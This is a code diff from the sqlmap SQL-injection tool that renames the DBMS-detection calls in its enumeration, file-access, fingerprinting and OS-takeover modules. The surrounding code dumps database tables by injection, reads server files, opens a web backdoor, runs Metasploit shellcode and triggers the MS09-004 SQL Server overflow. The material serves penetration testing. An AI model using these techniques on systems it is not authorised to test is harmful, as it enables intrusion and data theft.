if getIdentifiedDBMS() == DBMS.ORACLE: if backend.getIdentifiedDbms() == DBMS.ORACLE:
query = rootQuery.inband.query % (colString, conf.tbl.upper()) query = rootQuery.inband.query % (colString, conf.tbl.upper())
elif getIdentifiedDBMS() == DBMS.SQLITE: elif backend.getIdentifiedDbms() == DBMS.SQLITE:
query = rootQuery.inband.query % (colString, conf.tbl) query = rootQuery.inband.query % (colString, conf.tbl)
else: else:
query = rootQuery.inband.query % (colString, conf.db, conf.tbl) query = rootQuery.inband.query % (colString, conf.db, conf.tbl)
@ -1221,9 +1222,9 @@ class Enumeration:
infoMsg += "on database '%s'" % conf.db infoMsg += "on database '%s'" % conf.db
logger.info(infoMsg) logger.info(infoMsg)
if getIdentifiedDBMS() == DBMS.ORACLE: if backend.getIdentifiedDbms() == DBMS.ORACLE:
query = rootQuery.blind.count % conf.tbl.upper() query = rootQuery.blind.count % conf.tbl.upper()
elif getIdentifiedDBMS() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD): elif backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD):
query = rootQuery.blind.count % conf.tbl query = rootQuery.blind.count % conf.tbl
else: else:
query = rootQuery.blind.count % (conf.db, conf.tbl) query = rootQuery.blind.count % (conf.db, conf.tbl)
@ -1243,14 +1244,14 @@ class Enumeration:
lengths = {} lengths = {}
entries = {} entries = {}
if getIdentifiedDBMS() in (DBMS.ORACLE, DBMS.MSSQL, DBMS.SYBASE): if backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.MSSQL, DBMS.SYBASE):
plusOne = True plusOne = True
else: else:
plusOne = False plusOne = False
indexRange = getRange(count, dump=True, plusOne=plusOne) indexRange = getRange(count, dump=True, plusOne=plusOne)
try: try:
if getIdentifiedDBMS() == DBMS.ACCESS: if backend.getIdentifiedDbms() == DBMS.ACCESS:
validColumnList = False validColumnList = False
validPivotValue = False validPivotValue = False
@ -1327,22 +1328,22 @@ class Enumeration:
if column not in entries: if column not in entries:
entries[column] = [] entries[column] = []
if getIdentifiedDBMS() in ( DBMS.MYSQL, DBMS.PGSQL ): if backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ):
query = rootQuery.blind.query % (column, conf.db, query = rootQuery.blind.query % (column, conf.db,
conf.tbl, index) conf.tbl, index)
elif getIdentifiedDBMS() == DBMS.ORACLE: elif backend.getIdentifiedDbms() == DBMS.ORACLE:
query = rootQuery.blind.query % (column, column, query = rootQuery.blind.query % (column, column,
conf.tbl.upper(), conf.tbl.upper(),
index) index)
elif getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE): elif backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
query = rootQuery.blind.query % (column, index, conf.db, query = rootQuery.blind.query % (column, index, conf.db,
conf.tbl, colList[0], conf.tbl, colList[0],
colList[0], colList[0]) colList[0], colList[0])
elif getIdentifiedDBMS() == DBMS.SQLITE: elif backend.getIdentifiedDbms() == DBMS.SQLITE:
query = rootQuery.blind.query % (column, conf.tbl, index) query = rootQuery.blind.query % (column, conf.tbl, index)
elif getIdentifiedDBMS() == DBMS.FIREBIRD: elif backend.getIdentifiedDbms() == DBMS.FIREBIRD:
query = rootQuery.blind.query % (index, column, conf.tbl) query = rootQuery.blind.query % (index, column, conf.tbl)
value = inject.getValue(query, inband=False, error=False) value = inject.getValue(query, inband=False, error=False)
@ -1386,7 +1387,7 @@ class Enumeration:
return kb.data.dumpedTable return kb.data.dumpedTable
def dumpAll(self): def dumpAll(self):
if getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema: if backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema:
errMsg = "information_schema not available, " errMsg = "information_schema not available, "
errMsg += "back-end DBMS is MySQL < 5.0" errMsg += "back-end DBMS is MySQL < 5.0"
raise sqlmapUnsupportedFeatureException, errMsg raise sqlmapUnsupportedFeatureException, errMsg
@ -1487,10 +1488,10 @@ class Enumeration:
def searchDb(self): def searchDb(self):
foundDbs = [] foundDbs = []
rootQuery = queries[getIdentifiedDBMS()].search_db rootQuery = queries[backend.getIdentifiedDbms()].search_db
dbList = conf.db.split(",") dbList = conf.db.split(",")
if getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema: if backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema:
dbCond = rootQuery.inband.condition2 dbCond = rootQuery.inband.condition2
else: else:
dbCond = rootQuery.inband.condition dbCond = rootQuery.inband.condition
@ -1515,7 +1516,7 @@ class Enumeration:
dbQuery = dbQuery % db dbQuery = dbQuery % db
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct: if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
if getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema: if backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema:
query = rootQuery.inband.query2 query = rootQuery.inband.query2
else: else:
query = rootQuery.inband.query query = rootQuery.inband.query
@ -1536,7 +1537,7 @@ class Enumeration:
infoMsg += " '%s'" % db infoMsg += " '%s'" % db
logger.info(infoMsg) logger.info(infoMsg)
if getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema: if backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema:
query = rootQuery.blind.count2 query = rootQuery.blind.count2
else: else:
query = rootQuery.blind.count query = rootQuery.blind.count
@ -1556,7 +1557,7 @@ class Enumeration:
indexRange = getRange(count) indexRange = getRange(count)
for index in indexRange: for index in indexRange:
if getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema: if backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema:
query = rootQuery.blind.query2 query = rootQuery.blind.query2
else: else:
query = rootQuery.blind.query query = rootQuery.blind.query
@ -1571,12 +1572,12 @@ class Enumeration:
def searchTable(self): def searchTable(self):
bruteForce = False bruteForce = False
if getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema: if backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema:
errMsg = "information_schema not available, " errMsg = "information_schema not available, "
errMsg += "back-end DBMS is MySQL < 5.0" errMsg += "back-end DBMS is MySQL < 5.0"
bruteForce = True bruteForce = True
elif getIdentifiedDBMS() == DBMS.ACCESS: elif backend.getIdentifiedDbms() == DBMS.ACCESS:
errMsg = "cannot retrieve table names, " errMsg = "cannot retrieve table names, "
errMsg += "back-end DBMS is Access" errMsg += "back-end DBMS is Access"
logger.error(errMsg) logger.error(errMsg)
@ -1594,7 +1595,7 @@ class Enumeration:
regex = "|".join(conf.tbl.split(",")) regex = "|".join(conf.tbl.split(","))
return tableExists(paths.COMMON_TABLES, regex) return tableExists(paths.COMMON_TABLES, regex)
rootQuery = queries[getIdentifiedDBMS()].search_table rootQuery = queries[backend.getIdentifiedDbms()].search_table
foundTbls = {} foundTbls = {}
tblList = conf.tbl.split(",") tblList = conf.tbl.split(",")
tblCond = rootQuery.inband.condition tblCond = rootQuery.inband.condition
@ -1603,7 +1604,7 @@ class Enumeration:
tblConsider, tblCondParam = self.likeOrExact("table") tblConsider, tblCondParam = self.likeOrExact("table")
for tbl in tblList: for tbl in tblList:
if getIdentifiedDBMS() == DBMS.ORACLE: if backend.getIdentifiedDbms() == DBMS.ORACLE:
tbl = tbl.upper() tbl = tbl.upper()
infoMsg = "searching table" infoMsg = "searching table"
@ -1713,12 +1714,12 @@ class Enumeration:
def searchColumn(self): def searchColumn(self):
bruteForce = False bruteForce = False
if getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema: if backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema:
errMsg = "information_schema not available, " errMsg = "information_schema not available, "
errMsg += "back-end DBMS is MySQL < 5.0" errMsg += "back-end DBMS is MySQL < 5.0"
bruteForce = True bruteForce = True
elif getIdentifiedDBMS() == DBMS.ACCESS: elif backend.getIdentifiedDbms() == DBMS.ACCESS:
errMsg = "cannot retrieve column names, " errMsg = "cannot retrieve column names, "
errMsg += "back-end DBMS is Access" errMsg += "back-end DBMS is Access"
logger.error(errMsg) logger.error(errMsg)
@ -1744,7 +1745,7 @@ class Enumeration:
return return
rootQuery = queries[getIdentifiedDBMS()].search_column rootQuery = queries[backend.getIdentifiedDbms()].search_column
foundCols = {} foundCols = {}
dbs = {} dbs = {}
colList = conf.col.split(",") colList = conf.col.split(",")
@ -1956,7 +1957,7 @@ class Enumeration:
return output return output
def sqlShell(self): def sqlShell(self):
infoMsg = "calling %s shell. To quit type " % getIdentifiedDBMS() infoMsg = "calling %s shell. To quit type " % backend.getIdentifiedDbms()
infoMsg += "'x' or 'q' and press ENTER" infoMsg += "'x' or 'q' and press ENTER"
logger.info(infoMsg) logger.info(infoMsg)

View File

@ -13,7 +13,7 @@ import os
from lib.core.agent import agent from lib.core.agent import agent
from lib.core.common import dataToOutFile from lib.core.common import dataToOutFile
from lib.core.common import getIdentifiedDBMS from lib.core.common import backend
from lib.core.common import isTechniqueAvailable from lib.core.common import isTechniqueAvailable
from lib.core.common import randomStr from lib.core.common import randomStr
from lib.core.common import readInput from lib.core.common import readInput
@ -87,13 +87,13 @@ class Filesystem:
return fileLines return fileLines
def __checkWrittenFile(self, wFile, dFile, fileType): def __checkWrittenFile(self, wFile, dFile, fileType):
if getIdentifiedDBMS() == DBMS.MYSQL: if backend.getIdentifiedDbms() == DBMS.MYSQL:
lengthQuery = "SELECT LENGTH(LOAD_FILE('%s'))" % dFile lengthQuery = "SELECT LENGTH(LOAD_FILE('%s'))" % dFile
elif getIdentifiedDBMS() == DBMS.PGSQL: elif backend.getIdentifiedDbms() == DBMS.PGSQL:
lengthQuery = "SELECT LENGTH(data) FROM pg_largeobject WHERE loid=%d" % self.oid lengthQuery = "SELECT LENGTH(data) FROM pg_largeobject WHERE loid=%d" % self.oid
elif getIdentifiedDBMS() == DBMS.MSSQL: elif backend.getIdentifiedDbms() == DBMS.MSSQL:
self.createSupportTbl(self.fileTblName, self.tblField, "text") self.createSupportTbl(self.fileTblName, self.tblField, "text")
# Reference: http://msdn.microsoft.com/en-us/library/ms188365.aspx # Reference: http://msdn.microsoft.com/en-us/library/ms188365.aspx
@ -271,7 +271,7 @@ class Filesystem:
fileContent = self.unionReadFile(rFile) fileContent = self.unionReadFile(rFile)
if fileContent in ( None, "" ) and getIdentifiedDBMS() != DBMS.PGSQL: if fileContent in ( None, "" ) and backend.getIdentifiedDbms() != DBMS.PGSQL:
self.cleanup(onlyFileTbl=True) self.cleanup(onlyFileTbl=True)
return return
@ -289,7 +289,7 @@ class Filesystem:
fileContent = self.__unhexString(fileContent) fileContent = self.__unhexString(fileContent)
rFilePath = dataToOutFile(fileContent) rFilePath = dataToOutFile(fileContent)
if getIdentifiedDBMS() != DBMS.PGSQL: if backend.getIdentifiedDbms() != DBMS.PGSQL:
self.cleanup(onlyFileTbl=True) self.cleanup(onlyFileTbl=True)
return rFilePath return rFilePath

View File

@ -7,6 +7,7 @@ Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
See the file 'doc/COPYING' for copying permission See the file 'doc/COPYING' for copying permission
""" """
from lib.core.common import backend
from lib.core.common import readInput from lib.core.common import readInput
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
@ -18,7 +19,7 @@ class Fingerprint:
""" """
def __init__(self, dbms): def __init__(self, dbms):
kb.misc.forcedDbms = dbms backend.forceDbms(dbms)
def getFingerprint(self): def getFingerprint(self):
errMsg = "'getFingerprint' method must be defined " errMsg = "'getFingerprint' method must be defined "

View File

@ -10,7 +10,7 @@ See the file 'doc/COPYING' for copying permission
import re import re
from lib.core.common import getCompiledRegex from lib.core.common import getCompiledRegex
from lib.core.common import getIdentifiedDBMS from lib.core.common import backend
from lib.core.common import isTechniqueAvailable from lib.core.common import isTechniqueAvailable
from lib.core.common import normalizePath from lib.core.common import normalizePath
from lib.core.common import ntToPosixSlashes from lib.core.common import ntToPosixSlashes
@ -57,19 +57,19 @@ class Miscellaneous:
infoMsg = "detecting back-end DBMS version from its banner" infoMsg = "detecting back-end DBMS version from its banner"
logger.info(infoMsg) logger.info(infoMsg)
if getIdentifiedDBMS() == DBMS.MYSQL: if backend.getIdentifiedDbms() == DBMS.MYSQL:
first, last = 1, 6 first, last = 1, 6
elif getIdentifiedDBMS() == DBMS.PGSQL: elif backend.getIdentifiedDbms() == DBMS.PGSQL:
first, last = 12, 6 first, last = 12, 6
elif getIdentifiedDBMS() == DBMS.MSSQL: elif backend.getIdentifiedDbms() == DBMS.MSSQL:
first, last = 29, 9 first, last = 29, 9
else: else:
raise sqlmapUnsupportedFeatureException, "unsupported DBMS" raise sqlmapUnsupportedFeatureException, "unsupported DBMS"
query = queries[getIdentifiedDBMS()].substring.query % (queries[getIdentifiedDBMS()].banner.query, first, last) query = queries[backend.getIdentifiedDbms()].substring.query % (queries[backend.getIdentifiedDbms()].banner.query, first, last)
if conf.direct: if conf.direct:
query = "SELECT %s" % query query = "SELECT %s" % query
@ -120,7 +120,7 @@ class Miscellaneous:
if not onlyFileTbl: if not onlyFileTbl:
inject.goStacked("DROP TABLE %s" % self.cmdTblName, silent=True) inject.goStacked("DROP TABLE %s" % self.cmdTblName, silent=True)
if getIdentifiedDBMS() == DBMS.MSSQL: if backend.getIdentifiedDbms() == DBMS.MSSQL:
return return
if udfDict is None: if udfDict is None:
@ -133,7 +133,7 @@ class Miscellaneous:
if not output or output in ("y", "Y"): if not output or output in ("y", "Y"):
dropStr = "DROP FUNCTION %s" % udf dropStr = "DROP FUNCTION %s" % udf
if getIdentifiedDBMS() == DBMS.PGSQL: if backend.getIdentifiedDbms() == DBMS.PGSQL:
inp = ", ".join(i for i in inpRet["input"]) inp = ", ".join(i for i in inpRet["input"])
dropStr += "(%s)" % inp dropStr += "(%s)" % inp

View File

@ -9,7 +9,7 @@ See the file 'doc/COPYING' for copying permission
import os import os
from lib.core.common import getIdentifiedDBMS from lib.core.common import backend
from lib.core.common import isTechniqueAvailable from lib.core.common import isTechniqueAvailable
from lib.core.common import readInput from lib.core.common import readInput
from lib.core.common import runningAsAdmin from lib.core.common import runningAsAdmin
@ -45,7 +45,7 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous):
def osCmd(self): def osCmd(self):
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) or conf.direct: if isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) or conf.direct:
web = False web = False
elif not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and getIdentifiedDBMS() == DBMS.MYSQL: elif not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and backend.getIdentifiedDbms() == DBMS.MYSQL:
infoMsg = "going to use a web backdoor for command execution" infoMsg = "going to use a web backdoor for command execution"
logger.info(infoMsg) logger.info(infoMsg)
@ -66,7 +66,7 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous):
def osShell(self): def osShell(self):
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) or conf.direct: if isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) or conf.direct:
web = False web = False
elif not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and getIdentifiedDBMS() == DBMS.MYSQL: elif not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and backend.getIdentifiedDbms() == DBMS.MYSQL:
infoMsg = "going to use a web backdoor for command prompt" infoMsg = "going to use a web backdoor for command prompt"
logger.info(infoMsg) logger.info(infoMsg)
@ -149,7 +149,7 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous):
errMsg += "is unlikely to receive commands send from you" errMsg += "is unlikely to receive commands send from you"
logger.error(errMsg) logger.error(errMsg)
if getIdentifiedDBMS() in ( DBMS.MYSQL, DBMS.PGSQL ): if backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ):
self.sysUdfs.pop("sys_bineval") self.sysUdfs.pop("sys_bineval")
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) or conf.direct: if isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) or conf.direct:
@ -159,7 +159,7 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous):
self.initEnv(web=web) self.initEnv(web=web)
if tunnel == 1: if tunnel == 1:
if getIdentifiedDBMS() in ( DBMS.MYSQL, DBMS.PGSQL ): if backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ):
msg = "how do you want to execute the Metasploit shellcode " msg = "how do you want to execute the Metasploit shellcode "
msg += "on the back-end database underlying operating system?" msg += "on the back-end database underlying operating system?"
msg += "\n[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)" msg += "\n[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)"
@ -189,7 +189,7 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous):
self.uploadMsfPayloadStager() self.uploadMsfPayloadStager()
if kb.os == "Windows" and conf.privEsc: if kb.os == "Windows" and conf.privEsc:
if getIdentifiedDBMS() == DBMS.MYSQL: if backend.getIdentifiedDbms() == DBMS.MYSQL:
debugMsg = "by default MySQL on Windows runs as SYSTEM " debugMsg = "by default MySQL on Windows runs as SYSTEM "
debugMsg += "user, no need to privilege escalate" debugMsg += "user, no need to privilege escalate"
logger.debug(debugMsg) logger.debug(debugMsg)
@ -207,7 +207,7 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous):
self.uploadIcmpshSlave(web=web) self.uploadIcmpshSlave(web=web)
self.icmpPwn() self.icmpPwn()
elif not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and getIdentifiedDBMS() == DBMS.MYSQL: elif not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and backend.getIdentifiedDbms() == DBMS.MYSQL:
web = True web = True
infoMsg = "going to use a web backdoor to establish the tunnel" infoMsg = "going to use a web backdoor to establish the tunnel"
@ -256,13 +256,13 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous):
raise sqlmapUnsupportedDBMSException(errMsg) raise sqlmapUnsupportedDBMSException(errMsg)
if not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and not conf.direct: if not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and not conf.direct:
if getIdentifiedDBMS() in ( DBMS.PGSQL, DBMS.MSSQL ): if backend.getIdentifiedDbms() in ( DBMS.PGSQL, DBMS.MSSQL ):
errMsg = "on this back-end DBMS it is only possible to " errMsg = "on this back-end DBMS it is only possible to "
errMsg += "perform the SMB relay attack if stacked " errMsg += "perform the SMB relay attack if stacked "
errMsg += "queries are supported" errMsg += "queries are supported"
raise sqlmapUnsupportedDBMSException(errMsg) raise sqlmapUnsupportedDBMSException(errMsg)
elif getIdentifiedDBMS() == DBMS.MYSQL: elif backend.getIdentifiedDbms() == DBMS.MYSQL:
debugMsg = "since stacked queries are not supported, " debugMsg = "since stacked queries are not supported, "
debugMsg += "sqlmap is going to perform the SMB relay " debugMsg += "sqlmap is going to perform the SMB relay "
debugMsg += "attack via inference blind SQL injection" debugMsg += "attack via inference blind SQL injection"
@ -271,19 +271,19 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous):
printWarn = True printWarn = True
warnMsg = "it is unlikely that this attack will be successful " warnMsg = "it is unlikely that this attack will be successful "
if getIdentifiedDBMS() == DBMS.MYSQL: if backend.getIdentifiedDbms() == DBMS.MYSQL:
warnMsg += "because by default MySQL on Windows runs as " warnMsg += "because by default MySQL on Windows runs as "
warnMsg += "Local System which is not a real user, it does " warnMsg += "Local System which is not a real user, it does "
warnMsg += "not send the NTLM session hash when connecting to " warnMsg += "not send the NTLM session hash when connecting to "
warnMsg += "a SMB service" warnMsg += "a SMB service"
elif getIdentifiedDBMS() == DBMS.PGSQL: elif backend.getIdentifiedDbms() == DBMS.PGSQL:
warnMsg += "because by default PostgreSQL on Windows runs " warnMsg += "because by default PostgreSQL on Windows runs "
warnMsg += "as postgres user which is a real user of the " warnMsg += "as postgres user which is a real user of the "
warnMsg += "system, but not within the Administrators group" warnMsg += "system, but not within the Administrators group"
elif getIdentifiedDBMS() == DBMS.MSSQL and kb.dbmsVersion[0] in ( "2005", "2008" ): elif backend.getIdentifiedDbms() == DBMS.MSSQL and backend.isVersionWithin(("2005", "2008")):
warnMsg += "because often Microsoft SQL Server %s " % kb.dbmsVersion[0] warnMsg += "because often Microsoft SQL Server %s " % backend.getVersion()
warnMsg += "runs as Network Service which is not a real user, " warnMsg += "runs as Network Service which is not a real user, "
warnMsg += "it does not send the NTLM session hash when " warnMsg += "it does not send the NTLM session hash when "
warnMsg += "connecting to a SMB service" warnMsg += "connecting to a SMB service"
@ -300,14 +300,14 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous):
if not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and not conf.direct: if not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and not conf.direct:
return return
if not getIdentifiedDBMS() == DBMS.MSSQL or kb.dbmsVersion[0] not in ( "2000", "2005" ): if not backend.getIdentifiedDbms() == DBMS.MSSQL or not backend.isVersionWithin(("2000", "2005")):
errMsg = "the back-end DBMS must be Microsoft SQL Server " errMsg = "the back-end DBMS must be Microsoft SQL Server "
errMsg += "2000 or 2005 to be able to exploit the heap-based " errMsg += "2000 or 2005 to be able to exploit the heap-based "
errMsg += "buffer overflow in the 'sp_replwritetovarbin' " errMsg += "buffer overflow in the 'sp_replwritetovarbin' "
errMsg += "stored procedure (MS09-004)" errMsg += "stored procedure (MS09-004)"
raise sqlmapUnsupportedDBMSException(errMsg) raise sqlmapUnsupportedDBMSException(errMsg)
infoMsg = "going to exploit the Microsoft SQL Server %s " % kb.dbmsVersion[0] infoMsg = "going to exploit the Microsoft SQL Server %s " % backend.getVersion()
infoMsg += "'sp_replwritetovarbin' stored procedure heap-based " infoMsg += "'sp_replwritetovarbin' stored procedure heap-based "
infoMsg += "buffer overflow (MS09-004)" infoMsg += "buffer overflow (MS09-004)"
logger.info(infoMsg) logger.info(infoMsg)